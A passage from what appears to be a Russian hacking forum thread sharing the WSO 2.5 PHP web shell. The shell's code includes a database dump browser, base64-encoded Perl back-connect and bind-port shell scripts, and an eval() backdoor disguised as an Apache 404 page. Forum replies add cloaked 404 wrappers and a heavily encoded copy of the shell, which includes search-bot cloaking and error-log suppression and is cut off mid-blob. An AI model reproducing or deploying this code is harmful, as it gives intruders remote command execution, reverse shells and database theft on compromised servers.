                            if(
    $fpfwrite($fp$sql); else echo($sql);
                        }
                    break;
                }
                return 
    false;
            }
        };
        
    $db = new DbClass($_POST['type']);
        if(@
    $_POST['p2']=='download') {
            
    $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
            
    $db->selectdb($_POST['sql_base']);
            switch(
    $_POST['charset']) {
                case 
    "Windows-1251"$db->setCharset('cp1251'); break;
                case 
    "UTF-8"$db->setCharset('utf8'); break;
                case 
    "KOI8-R"$db->setCharset('koi8r'); break;
                case 
    "KOI8-U"$db->setCharset('koi8u'); break;
                case 
    "cp866"$db->setCharset('cp866'); break;
            }
            if(empty(
    $_POST['file'])) {
                
    ob_start("ob_gzhandler"4096);
                
    header("Content-Disposition: attachment; filename=dump.sql");
                
    header("Content-Type: text/plain");
                foreach(
    $_POST['tbl'] as $v)
                    
    $db->dump($v);
                exit;
            } elseif(
    $fp = @fopen($_POST['file'], 'w')) {
                foreach(
    $_POST['tbl'] as $v)
                    
    $db->dump($v$fp);
                
    fclose($fp);
                unset(
    $_POST['p2']);
            } else
                die(
    '<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
        }
        
    wsoHeader();
        echo 
    "
    <h1>Sql browser</h1><div class=content>
    <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
    <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
    <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='"
    htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
    <td><select name='type'><option value='mysql' "
    ;
        if(@
    $_POST['type']=='mysql')echo 'selected';
    echo 
    ">MySql</option><option value='pgsql' ";
    if(@
    $_POST['type']=='pgsql')echo 'selected';
    echo 
    ">PostgreSql</option></select></td>
    <td><input type=text name=sql_host value=\""
    . (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
    <td><input type=text name=sql_login value=\""
    . (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
    <td><input type=text name=sql_pass value=\""
    . (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
        
    $tmp "<input type=text name=sql_base value=''>";
        if(isset(
    $_POST['sql_host'])){
            if(
    $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
                switch(
    $_POST['charset']) {
                    case 
    "Windows-1251"$db->setCharset('cp1251'); break;
                    case 
    "UTF-8"$db->setCharset('utf8'); break;
                    case 
    "KOI8-R"$db->setCharset('koi8r'); break;
                    case 
    "KOI8-U"$db->setCharset('koi8u'); break;
                    case 
    "cp866"$db->setCharset('cp866'); break;
                }
                
    $db->listDbs();
                echo 
    "<select name=sql_base><option value=''></option>";
                while(
    $item $db->fetch()) {
                    list(
    $key$value) = each($item);
                    echo 
    '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
                }
                echo 
    '</select>';
            }
            else echo 
    $tmp;
        }else
            echo 
    $tmp;
        echo 
    "</td>
                    <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
                    <td><input type=checkbox name=sql_count value='on'" 
    . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
                </tr>
            </table>
            <script>
                s_db='"
    .@addslashes($_POST['sql_base'])."';
                function fs(f) {
                    if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                        if(f.p1) f.p1.value='';
                        if(f.p2) f.p2.value='';
                        if(f.p3) f.p3.value='';
                    }
                }
                function st(t,l) {
                    d.sf.p1.value = 'select';
                    d.sf.p2.value = t;
                    if(l && d.sf.p3) d.sf.p3.value = l;
                    d.sf.submit();
                }
                function is() {
                    for(i=0;i<d.sf.elements['tbl[]'].length;++i)
                        d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
                }
            </script>"
    ;
        if(isset(
    $db) && $db->link){
            echo 
    "<br/><table width=100% cellpadding=2 cellspacing=0>";
                if(!empty(
    $_POST['sql_base'])){
                    
    $db->selectdb($_POST['sql_base']);
                    echo 
    "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
                    
    $tbls_res $db->listTables();
                    while(
    $item $db->fetch($tbls_res)) {
                        list(
    $key$value) = each($item);
                        if(!empty(
    $_POST['sql_count']))
                            
    $n $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
                        
    $value htmlspecialchars($value);
                        echo 
    "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
                    }
                    echo 
    "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
                    if(@
    $_POST['p1'] == 'select') {
                        
    $_POST['p1'] = 'query';
                        
    $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
                        
    $db->query('SELECT COUNT(*) as n FROM ' $_POST['p2']);
                        
    $num $db->fetch();
                        
    $pages ceil($num['n'] / 30);
                        echo 
    "<script>d.sf.onsubmit=function(){st(\"" $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
                        echo 
    " of $pages";
                        if(
    $_POST['p3'] > 1)
                            echo 
    " <a href=# onclick='st(\"" $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
                        if(
    $_POST['p3'] < $pages)
                            echo 
    " <a href=# onclick='st(\"" $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
                        
    $_POST['p3']--;
                        if(
    $_POST['type']=='pgsql')
                            
    $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
                        else
                            
    $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
                        echo 
    "<br><br>";
                    }
                    if((@
    $_POST['p1'] == 'query') && !empty($_POST['p2'])) {
                        
    $db->query(@$_POST['p2']);
                        if(
    $db->res !== false) {
                            
    $title false;
                            echo 
    '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
                            
    $line 1;
                            while(
    $item $db->fetch())    {
                                if(!
    $title)    {
                                    echo 
    '<tr>';
                                    foreach(
    $item as $key => $value)
                                        echo 
    '<th>'.$key.'</th>';
                                    
    reset($item);
                                    
    $title=true;
                                    echo 
    '</tr><tr>';
                                    
    $line 2;
                                }
                                echo 
    '<tr class="l'.$line.'">';
                                
    $line $line==1?2:1;
                                foreach(
    $item as $key => $value) {
                                    if(
    $value == null)
                                        echo 
    '<td><i>null</i></td>';
                                    else
                                        echo 
    '<td>'.nl2br(htmlspecialchars($value)).'</td>';
                                }
                                echo 
    '</tr>';
                            }
                            echo 
    '</table>';
                        } else {
                            echo 
    '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
                        }
                    }
                    echo 
    "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                    if(!empty(
    $_POST['p2']) && ($_POST['p1'] != 'loadfile'))
                        echo 
    htmlspecialchars($_POST['p2']);
                    echo 
    "</textarea><br/><input type=submit value='Execute'>";
                    echo 
    "</td></tr>";
                }
                echo 
    "</table></form><br/>";
                if(
    $_POST['type']=='mysql') {
                    
    $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                    if(
    $db->fetch())
                        echo 
    "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
                }
                if(@
    $_POST['p1'] == 'loadfile') {
                    
    $file $db->loadFile($_POST['p2']);
                    echo 
    '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
                }
        } else {
            echo 
    htmlspecialchars($db->error());
        }
        echo 
    '</div>';
        
    wsoFooter();
    }
    function 
    actionNetwork() {
        
    wsoHeader();
        
    $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
        
    $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
        echo 
    "<h1>Network tools</h1><div class=content>
        <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
        <span>Bind port to /bin/sh [perl]</span><br/>
        Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
        </form>
        <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
        <span>Back-connect  [perl]</span><br/>
        Server: <input type='text' name='server' value='"
    $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
        </form><br>"
    ;
        if(isset(
    $_POST['p1'])) {
            function 
    cf($f,$t) {
                
    $w = @fopen($f,"w") or @function_exists('file_put_contents');
                if(
    $w){
                    @
    fwrite($w,@base64_decode($t));
                    @
    fclose($w);
                }
            }
            if(
    $_POST['p1'] == 'bpp') {
                
    cf("/tmp/bp.pl",$bind_port_p);
                
    $out wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
                
    sleep(1);
                echo 
    "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
                
    unlink("/tmp/bp.pl");
            }
            if(
    $_POST['p1'] == 'bcp') {
                
    cf("/tmp/bc.pl",$back_connect_p);
                
    $out wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
                
    sleep(1);
                echo 
    "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
                
    unlink("/tmp/bc.pl");
            }
        }
        echo 
    '</div>';
        
    wsoFooter();
    }
    function 
    actionRC() {
        if(!@
    $_POST['p1']) {
            
    $a = array(
                
    "uname" => php_uname(),
                
    "php_version" => phpversion(),
                
    "wso_version" => WSO_VERSION,
                
    "safemode" => @ini_get('safe_mode')
            );
            echo 
    serialize($a);
        } else {
            eval(
    $_POST['p1']);
        }
    }
    if( empty(
    $_POST['a']) )
        if(isset(
    $default_action) && function_exists('action' $default_action))
            
    $_POST['a'] = $default_action;
        else
            
    $_POST['a'] = 'SecInfo';
    if( !empty(
    $_POST['a']) && function_exists('action' $_POST['a']) )
        
    call_user_func('action' $_POST['a']);
    exit;
    }else{
    echo
    '
    <h1>Not Found</h1>
    <p>The requested URL was not found on this server.</p>
    <hr>
    <address>Apache Server at '
    .$_SERVER['HTTP_HOST'].' Port 80</address>
    '
    ;
    }[/
    i][/i][/i][/i][/i][/i]

    сперто с брутзоны.ру
     
    • Like Like x 2
    Метки:
  2. webster

    webster Гость

    А так вообще проще:

    PHP:
    <?php
    if(!empty($_GET['iadmin']))
      {
          
    // Тут шелл
      
    }
      else
      {
            
    header("HTTP/1.0 404 Not Found");
      }
    ?>
     
  3. TopicStarter Overlay
    googie

    googie Команда форума

    Регистрация:
    27 июл 2012
    Сообщения:
    824
    Симпатии:
    616
    ну, если вкратце, то да :) просто нижний код с шеллом, если кому-то лень искать какие-то)
     
  4. bios

    bios

    Регистрация:
    22 июн 2012
    Сообщения:
    539
    Симпатии:
    622
    может так и ещё проше
    Код:
    <?php
    $string = "aWYlMjAlMjglMjRfR0VUJTVCJTI3Z2V0cGFzcyUyNyU1RCUyMCUzRCUzRCUyMCUyN2JydXRlem9uZSUyNyUyOSU3QiUwQSUyNGF1dGhfcGFzcyUyMCUzRCUyMCUyNzQzOTcyYmEyNWMxYzNhZDI1MzAxZGVhMjFhNTFkMDgzJTI3JTNCJTBBJTI0Y29sb3IlMjAlM0QlMjAlMjIlMjNkZjUlMjIlM0IlMEElMjRkZWZhdWx0X2FjdGlvbiUyMCUzRCUyMCUyN0ZpbGVzTWFuJTI3JTNCJTBBJTI0ZGVmYXVsdF91c2VfYWpheCUyMCUzRCUyMHRydWUlM0IlMEElMjRkZWZhdWx0X2NoYXJzZXQlMjAlM0QlMjAlMjdXaW5kb3dzLTEyNTElMjclM0IlMEElMjAlMEFpZiUyOCUyMWVtcHR5JTI4JTI0X1NFUlZFUiU1QiUyN0hUVFBfVVNFUl9BR0VOVCUyNyU1RCUyOSUyOSUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyNHVzZXJBZ2VudHMlMjAlM0QlMjBhcnJheSUyOCUyMkdvb2dsZSUyMiUyQyUyMCUyMlNsdXJwJTIyJTJDJTIwJTIyTVNOQm90JTIyJTJDJTIwJTIyaWFfYXJjaGl2ZXIlMjIlMkMlMjAlMjJZYW5kZXglMjIlMkMlMjAlMjJSYW1ibGVyJTIyJTI5JTNCJTBBJTIwJTIwJTIwJTIwaWYlMjhwcmVnX21hdGNoJTI4JTI3LyUyNyUyMC4lMjBpbXBsb2RlJTI4JTI3JTdDJTI3JTJDJTIwJTI0dXNlckFnZW50cyUyOSUyMC4lMjAlMjcvaSUyNyUyQyUyMCUyNF9TRVJWRVIlNUIlMjdIVFRQX1VTRVJfQUdFTlQlMjclNUQlMjklMjklMjAlN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBoZWFkZXIlMjglMjdIVFRQLzEuMCUyMDQwNCUyME5vdCUyMEZvdW5kJTI3JTI5JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwZXhpdCUzQiUwQSUyMCUyMCUyMCUyMCU3RCUwQSU3RCUwQSUyMCUwQUBpbmlfc2V0JTI4JTI3ZXJyb3JfbG9nJTI3JTJDTlVMTCUyOSUzQiUwQUBpbmlfc2V0JTI4JTI3bG9nX2Vycm9ycyUyNyUyQzAlMjklM0IlMEFAaW5pX3NldCUyOCUyN21heF9leGVjdXRpb25fdGltZSUyNyUyQzAlMjklM0IlMEFAc2V0X3RpbWVfbGltaXQlMjgwJTI5JTNCJTBBQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSUyODAlMjklM0IlMEFAZGVmaW5lJTI4JTI3V1NPX1ZFUlNJT04lMjclMkMlMjAlMjcyLjUlMjclMjklM0IlMEElMjAlMEFpZiUyOGdldF9tYWdpY19xdW90ZXNfZ3BjJTI4JTI5JTI5JTIwJTdCJTBBJTIwJTIwJTIwJTIwZnVuY3Rpb24lMjBXU09zdHJpcHNsYXNoZXMlMjglMjRhcnJheSUyOSUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHJldHVybiUyMGlzX2FycmF5JTI4JTI0YXJyYXklMjklMjAlM0YlMjBhcnJheV9tYXAlMjglMjdXU09zdHJpcHNsYXNoZXMlMjclMkMlMjAlMjRhcnJheSUyOSUyMCUzQSUyMHN0cmlwc2xhc2hlcyUyOCUyNGFycmF5JTI5JTNCJTBBJTIwJTIwJTIwJTIwJTdEJTBBJTIwJTIwJTIwJTIwJTI0X1BPU1QlMjAlM0QlMjBXU09zdHJpcHNsYXNoZXMlMjglMjRfUE9TVCUyOSUzQiUwQSUyMCUyMCUyMCUyMCUyNF9DT09LSUUlMjAlM0QlMjBXU09zdHJpcHNsYXNoZXMlMjglMjRfQ09PS0lFJTI5JTNCJTBBJTdEJTBBJTIwJTBBZnVuY3Rpb24lMjB3c29Mb2dpbiUyOCUyOSUyMCU3QiUwQSUyMCUyMCUyMCUyMGRpZSUyOCUyMiUzQ3ByZSUyMGFsaWduJTNEY2VudGVyJTNFJTNDZm9ybSUyMG1ldGhvZCUzRHBvc3QlM0VQYXNzd29yZCUzQSUyMCUzQ2lucHV0JTIwdHlwZSUzRHBhc3N3b3JkJTIwbmFtZSUzRHBhc3MlM0UlM0NpbnB1dCUyMHR5cGUlM0RzdWJtaXQlMjB2YWx1ZSUzRCUyNyUzRSUzRSUyNyUzRSUzQy9mb3JtJTNFJTNDL3ByZSUzRSUyMiUyOSUzQiUwQSU3RCUwQSUyMCUwQWZ1bmN0aW9uJTIwV1NPc2V0Y29va2llJTI4JTI0ayUyQyUyMCUyNHYlMjklMjAlN0IlMEElMjAlMjAlMjAlMjAlMjRfQ09PS0lFJTVCJTI0ayU1RCUyMCUzRCUyMCUyNHYlM0IlMEElMjAlMjAlMjAlMjBzZXRjb29raWUlMjglMjRrJTJDJTIwJTI0diUyOSUzQiUwQSU3RCUwQSUyMCUwQWlmJTI4JTIxZW1wdHklMjglMjRhdXRoX3Bhc3MlMjklMjklMjAlN0IlMEElMjAlMjAlMjAlMjBpZiUyOGlzc2V0JTI4JTI0X1BPU1QlNUIlMjdwYXNzJTI3JTVEJTI5JTIwJTI2JTI2JTIwJTI4bWQ1JTI4JTI0X1BPU1QlNUIlMjdwYXNzJTI3JTVEJTI5JTIwJTNEJTNEJTIwJTI0YXV0aF9wYXNzJTI5JTI5JTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwV1NPc2V0Y29va2llJTI4bWQ1JTI4JTI0X1NFUlZFUiU1QiUyN0hUVFBfSE9TVCUyNyU1RCUyOSUyQyUyMCUyNGF1dGhfcGFzcyUyOSUzQiUwQSUyMCUwQSUyMCUyMCUyMCUyMGlmJTIwJTI4JTIxaXNzZXQlMjglMjRfQ09PS0lFJTVCbWQ1JTI4JTI0X1NFUlZFUiU1QiUyN0hUVFBfSE9TVCUyNyU1RCUyOSU1RCUyOSUyMCU3QyU3QyUyMCUyOCUyNF9DT09LSUUlNUJtZDUlMjglMjRfU0VSVkVSJTVCJTI3SFRUUF9IT1NUJTI3JTVEJTI5JTVEJTIwJTIxJTNEJTIwJTI0YXV0aF9wYXNzJTI5JTI5JTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwd3NvTG9naW4lMjglMjklM0IlMEElN0QlMEElMjAlMEFpZiUyOHN0cnRvbG93ZXIlMjhzdWJzdHIlMjhQSFBfT1MlMkMwJTJDMyUyOSUyOSUyMCUzRCUzRCUyMCUyMndpbiUyMiUyOSUwQSUyMCUyMCUyMCUyMCUyNG9zJTIwJTNEJTIwJTI3d2luJTI3JTNCJTBBZWxzZSUwQSUyMCUyMCUyMCUyMCUyNG9zJTIwJTNEJTIwJTI3bml4JTI3JTNCJTBBJTIwJTBBJTI0c2FmZV9tb2RlJTIwJTNEJTIwQGluaV9nZXQlMjglMjdzYWZlX21vZGUlMjclMjklM0IlMEFpZiUyOCUyMSUyNHNhZmVfbW9kZSUyOSUwQSUyMCUyMCUyMCUyMGVycm9yX3JlcG9ydGluZyUyODAlMjklM0IlMEElMjAlMEElMjRkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMEBpbmlfZ2V0JTI4JTI3ZGlzYWJsZV9mdW5jdGlvbnMlMjclMjklM0IlMEElMjRob21lX2N3ZCUyMCUzRCUyMEBnZXRjd2QlMjglMjklM0IlMEFpZiUyOGlzc2V0JTI4JTI0X1BPU1QlNUIlMjdjJTI3JTVEJTI5JTI5JTBBJTIwJTIwJTIwJTIwQGNoZGlyJTI4JTI0X1BPU1QlNUIlMjdjJTI3JTVEJTI5JTNCJTBBJTI0Y3dkJTIwJTNEJTIwQGdldGN3ZCUyOCUyOSUzQiUwQWlmJTI4JTI0b3MlMjAlM0QlM0QlMjAlMjd3aW4lMjclMjklMjAlN0IlMEElMjAlMjAlMjAlMjAlMjRob21lX2N3ZCUyMCUzRCUyMHN0cl9yZXBsYWNlJTI4JTIyJTVDJTVDJTIyJTJDJTIwJTIyLyUyMiUyQyUyMCUyNGhvbWVfY3dkJTI5JTNCJTBBJTIwJTIwJTIwJTIwJTI0Y3dkJTIwJTNEJTIwc3RyX3JlcGxhY2UlMjglMjIlNUMlNUMlMjIlMkMlMjAlMjIvJTIyJTJDJTIwJTI0Y3dkJTI5JTNCJTBBJTdEJTBBaWYlMjglMjRjd2QlNUJzdHJsZW4lMjglMjRjd2QlMjktMSU1RCUyMCUyMSUzRCUyMCUyNy8lMjclMjklMEElMjAlMjAlMjAlMjAlMjRjd2QlMjAuJTNEJTIwJTI3LyUyNyUzQiUwQSUyMCUwQWlmJTI4JTIxaXNzZXQlMjglMjRfQ09PS0lFJTVCbWQ1JTI4JTI0X1NFUlZFUiU1QiUyN0hUVFBfSE9TVCUyNyU1RCUyOSUyMC4lMjAlMjdhamF4JTI3JTVEJTI5JTI5JTBBJTIwJTIwJTIwJTIwJTI0X0NPT0tJRSU1Qm1kNSUyOCUyNF9TRVJWRVIlNUIlMjdIVFRQX0hPU1QlMjclNUQlMjklMjAuJTIwJTI3YWpheCUyNyU1RCUyMCUzRCUyMCUyOGJvb2wlMjklMjRkZWZhdWx0X3VzZV9hamF4JTNCJTBBJTIwJTBBaWYlMjglMjRvcyUyMCUzRCUzRCUyMCUyN3dpbiUyNyUyOSUwQSUyMCUyMCUyMCUyMCUyNGFsaWFzZXMlMjAlM0QlMjBhcnJheSUyOCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMkxpc3QlMjBEaXJlY3RvcnklMjIlMjAlM0QlM0UlMjAlMjJkaXIlMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJGaW5kJTIwaW5kZXgucGhwJTIwaW4lMjBjdXJyZW50JTIwZGlyJTIyJTIwJTNEJTNFJTIwJTIyZGlyJTIwL3MlMjAvdyUyMC9iJTIwaW5kZXgucGhwJTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyRmluZCUyMCpjb25maWcqLnBocCUyMGluJTIwY3VycmVudCUyMGRpciUyMiUyMCUzRCUzRSUyMCUyMmRpciUyMC9zJTIwL3clMjAvYiUyMCpjb25maWcqLnBocCUyMiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMlNob3clMjBhY3RpdmUlMjBjb25uZWN0aW9ucyUyMiUyMCUzRCUzRSUyMCUyMm5ldHN0YXQlMjAtYW4lMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJTaG93JTIwcnVubmluZyUyMHNlcnZpY2VzJTIyJTIwJTNEJTNFJTIwJTIybmV0JTIwc3RhcnQlMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJVc2VyJTIwYWNjb3VudHMlMjIlMjAlM0QlM0UlMjAlMjJuZXQlMjB1c2VyJTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyU2hvdyUyMGNvbXB1dGVycyUyMiUyMCUzRCUzRSUyMCUyMm5ldCUyMHZpZXclMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJBUlAlMjBUYWJsZSUyMiUyMCUzRCUzRSUyMCUyMmFycCUyMC1hJTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIySVAlMjBDb25maWd1cmF0aW9uJTIyJTIwJTNEJTNFJTIwJTIyaXBjb25maWclMjAvYWxsJTIyJTBBJTIwJTIwJTIwJTIwJTI5JTNCJTBBZWxzZSUwQSUyMCUyMCUyMCUyMCUyNGFsaWFzZXMlMjAlM0QlMjBhcnJheSUyOCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMkxpc3QlMjBkaXIlMjIlMjAlM0QlM0UlMjAlMjJscyUyMC1saGElMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJsaXN0JTIwZmlsZSUyMGF0dHJpYnV0ZXMlMjBvbiUyMGElMjBMaW51eCUyMHNlY29uZCUyMGV4dGVuZGVkJTIwZmlsZSUyMHN5c3RlbSUyMiUyMCUzRCUzRSUyMCUyMmxzYXR0ciUyMC12YSUyMiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnNob3clMjBvcGVuZWQlMjBwb3J0cyUyMiUyMCUzRCUzRSUyMCUyMm5ldHN0YXQlMjAtYW4lMjAlN0MlMjBncmVwJTIwLWklMjBsaXN0ZW4lMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJwcm9jZXNzJTIwc3RhdHVzJTIyJTIwJTNEJTNFJTIwJTIycHMlMjBhdXglMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJGaW5kJTIyJTIwJTNEJTNFJTIwJTIyJTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyZmluZCUyMGFsbCUyMHN1aWQlMjBmaWxlcyUyMiUyMCUzRCUzRSUyMCUyMmZpbmQlMjAvJTIwLXR5cGUlMjBmJTIwLXBlcm0lMjAtMDQwMDAlMjAtbHMlMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJmaW5kJTIwc3VpZCUyMGZpbGVzJTIwaW4lMjBjdXJyZW50JTIwZGlyJTIyJTIwJTNEJTNFJTIwJTIyZmluZCUyMC4lMjAtdHlwZSUyMGYlMjAtcGVybSUyMC0wNDAwMCUyMC1scyUyMiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMmZpbmQlMjBhbGwlMjBzZ2lkJTIwZmlsZXMlMjIlMjAlM0QlM0UlMjAlMjJmaW5kJTIwLyUyMC10eXBlJTIwZiUyMC1wZXJtJTIwLTAyMDAwJTIwLWxzJTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyZmluZCUyMHNnaWQlMjBmaWxlcyUyMGluJTIwY3VycmVudCUyMGRpciUyMiUyMCUzRCUzRSUyMCUyMmZpbmQlMjAuJTIwLXR5cGUlMjBmJTIwLXBlcm0lMjAtMDIwMDAlMjAtbHMlMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJmaW5kJTIwY29uZmlnLmluYy5waHAlMjBmaWxlcyUyMiUyMCUzRCUzRSUyMCUyMmZpbmQlMjAvJTIwLXR5cGUlMjBmJTIwLW5hbWUlMjBjb25maWcuaW5jLnBocCUyMiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMmZpbmQlMjBjb25maWcqJTIwZmlsZXMlMjIlMjAlM0QlM0UlMjAlMjJmaW5kJTIwLyUyMC10eXBlJTIwZiUyMC1uYW1lJTIwJTVDJTIyY29uZmlnKiU1QyUyMiUyMiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMmZpbmQlMjBjb25maWcqJTIwZmlsZXMlMjBpbiUyMGN1cnJlbnQlMjBkaXIlMjIlMjAlM0QlM0UlMjAlMjJmaW5kJTIwLiUyMC10eXBlJTIwZiUyMC1uYW1lJTIwJTVDJTIyY29uZmlnKiU1QyUyMiUyMiUyQyUwQSUyMCUyMCUy